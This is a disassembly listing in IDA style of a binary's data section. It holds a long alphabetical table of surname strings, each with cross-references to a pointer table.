aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E6B4o
		align 10h
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E6B0o
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E6ACo
		align 10h
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E6A8o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E6A4o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E6A0o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E69Co
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E698o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E694o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E690o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E68Co
		align 10h
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E688o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E684o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E680o
		align 10h
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E67Co
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E678o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E674o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E670o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E66Co
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E668o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E664o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E660o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E65Co
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E658o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E654o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E650o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E64Co
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E648o
		align 10h
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E644o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E640o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E63Co
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E638o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E634o
		align 10h
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E630o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E62Co
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E628o
		align 10h
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E624o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E620o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E61Co
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E618o
		align 10h
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E614o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E610o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E60Co
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E608o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E604o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E600o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E5FCo
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E5F8o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E5F4o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E5F0o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E5ECo
		align 10h
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E5E8o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E5E4o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E5E0o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E5DCo
aOray		db 'Oray',0             ; DATA XREF: ___:0042E5D8o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E5D4o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E5D0o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E5CCo
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E5C8o
		align 10h
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E5C4o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E5C0o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E5BCo
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E5B8o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E5B4o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E5B0o
		align 10h
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E5ACo
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E5A8o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E5A4o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E5A0o
		align 10h
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E59Co
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E598o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E594o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E590o
		align 10h
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E58Co
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E588o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E584o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E580o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E57Co
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E578o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E574o
		align 10h
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E570o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E56Co
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E568o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E564o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E560o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E55Co
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E558o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E554o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E550o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E54Co
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E548o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E544o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E540o
		align 10h
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E53Co
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E538o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E534o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E530o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E52Co
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E528o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E524o
		align 10h
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E520o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E51Co
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E518o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E514o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E510o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E50Co
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E508o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E504o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E500o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E4FCo
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E4F8o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E4F4o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E4F0o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E4ECo
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E4E8o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E4E4o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E4E0o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E4DCo
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E4D8o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E4D4o
		align 10h
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E4D0o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E4CCo
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E4C8o
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E4C4o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E4C0o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E4BCo
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E4B8o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E4B4o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E4B0o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E4ACo
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E4A8o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E4A4o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E4A0o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E49Co
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E498o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E494o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E490o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E48Co
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E488o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E484o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E480o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E47Co
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E478o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E474o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E470o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E46Co
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E468o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E464o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E460o
		align 4
aMazzali	db 'Mazzali',0
aMay		db 'May',0
aMauzy		db 'Mauzy',0
		align 10h
aMattson	db 'Mattson',0
aMatsukata	db 'Matsukata',0
		align 4
aMatarazzo	db 'Matarazzo',0
		align 10h
aMatalka	db 'Matalka',0
aMass		db 'Mass',0
		align 10h
aMarubini	db 'Marubini',0
		align 4
aMarton		db 'Marton',0
		align 4
aMartochio	db 'Martochio',0
		align 10h
aMartinez	db 'Martinez',0
		align 4
aMarques	db 'Marques',0
aMargetts	db 'Margetts',0
		align 10h
aMargalit	db 'Margalit',0
		align 4
aMarcus		db 'Marcus',0
		align 4
aMarchbanks	db 'Marchbanks',0
		align 10h
aMarch		db 'March',0
		align 4
aMantovan	db 'Mantovan',0
		align 4
aManganiello	db 'Manganiello',0
aMandel		db 'Mandel',0
		align 4
aManalis	db 'Manalis',0
aMalova		db 'Malova',0
		align 4
aMaller		db 'Maller',0
		align 10h
aMalatesta	db 'Malatesta',0
		align 4
aMaisano	db 'Maisano',0
aMaineHershey	db 'Maine-Hershey',0
		align 4
aMaier		db 'Maier',0
		align 4
aMahony		db 'Mahony',0
		align 4
aMaggio		db 'Maggio',0
		align 4
aMadigan	db 'Madigan',0
aMacy		db 'Macy',0
		align 4
aMacmillan	db 'MacMillan',0
		align 4
aMackenney	db 'Mackenney',0
		align 4
aMacintyre	db 'Macintyre',0
		align 10h
aMaceachern	db 'Maceachern',0
		align 4
aMacdonald	db 'Macdonald',0
		align 4
aMaccormac	db 'Maccormac',0
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E3C4o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E3C0o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E3BCo
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E3B8o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E3B4o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E3B0o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E3ACo
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E3A8o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E3A4o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E3A0o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E39Co
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E398o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E394o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E390o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E38Co
		align 10h
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E388o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E384o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E380o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E37Co
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E378o
		align 10h
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E374o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E370o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E36Co
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E368o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E364o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E360o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E35Co
aLine		db 'Line',0             ; DATA XREF: ___:0042E358o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E354o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E350o
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E34Co
aLim		db 'Lim',0              ; DATA XREF: ___:0042E348o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E344o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E340o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E33Co
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E338o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E334o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E330o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E32Co
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E328o
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E324o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E320o
		align 10h
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E31Co
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E318o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E314o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E310o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E30Co
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E308o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E304o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E300o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E2FCo
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E2F8o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E2F4o
					; ___:0043294Co
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E2F0o
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E2ECo
					; ___:off_4327E8o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E2E8o
aLa		db 'La',0               ; DATA XREF: ___:0042E2E4o
		align 10h
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E2E0o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E2DCo
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E2D8o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E2D4o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E2D0o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E2CCo
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E2C8o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E2C4o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E2C0o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E2BCo
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E2B8o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E2B4o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E2B0o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: ___:0042E2ACo
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E2A8o
		align 10h
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E2A4o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E2A0o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E29Co
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E298o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E294o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E290o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E28Co
		align 10h
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E288o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E284o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E280o
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E27Co
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E278o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E274o
					; Themida_:0055AD31o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E270o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E26Co
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E268o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E264o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E260o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E25Co
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E258o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E254o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E250o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E24Co
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E248o
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E244o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E240o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E23Co
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E238o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E234o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E230o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E22Co
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E228o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E224o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E220o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E21Co
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E218o
		align 10h
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E214o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E210o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E20Co
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E208o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E204o
		align 10h
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E200o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E1FCo
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E1F8o
		align 10h
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E1F4o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E1F0o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E1ECo
		align 10h
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E1E8o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E1E4o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E1E0o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E1DCo
		align 10h
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E1D8o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E1D4o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E1D0o
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E1CCo
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E1C8o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E1C4o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E1C0o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E1BCo
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E1B8o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E1B4o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E1B0o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E1ACo
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E1A8o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E1A4o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E1A0o
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E19Co
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E198o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E194o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E190o
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E18Co
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E188o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E184o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E180o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E17Co
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E178o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E174o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E170o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E16Co
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E168o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E164o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E160o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E15Co
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E158o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E154o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E150o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E14Co
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E148o
		align 10h
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E144o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E140o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E13Co
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E138o
		align 10h
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E134o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E130o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E12Co
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E128o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E124o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E120o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E11Co
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E118o
		align 10h
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E114o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E110o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E10Co
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E108o
		align 10h
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E104o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E100o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E0FCo
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E0F8o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E0F4o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E0F0o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E0ECo
		align 10h
aHind		db 'Hind',0             ; DATA XREF: ___:0042E0E8o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E0E4o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E0E0o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E0DCo
aHester		db 'Hester',0           ; DATA XREF: ___:0042E0D8o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E0D4o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E0D0o
		align 10h
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E0CCo
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E0C8o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E0C4o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E0C0o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E0BCo
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E0B8o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E0B4o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E0B0o
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E0ACo
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E0A8o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E0A4o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E0A0o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E09Co
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E098o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E094o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E090o
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E08Co
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E088o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E084o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E080o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E07Co
		align 10h
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E078o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E074o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E070o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E06Co
		align 4
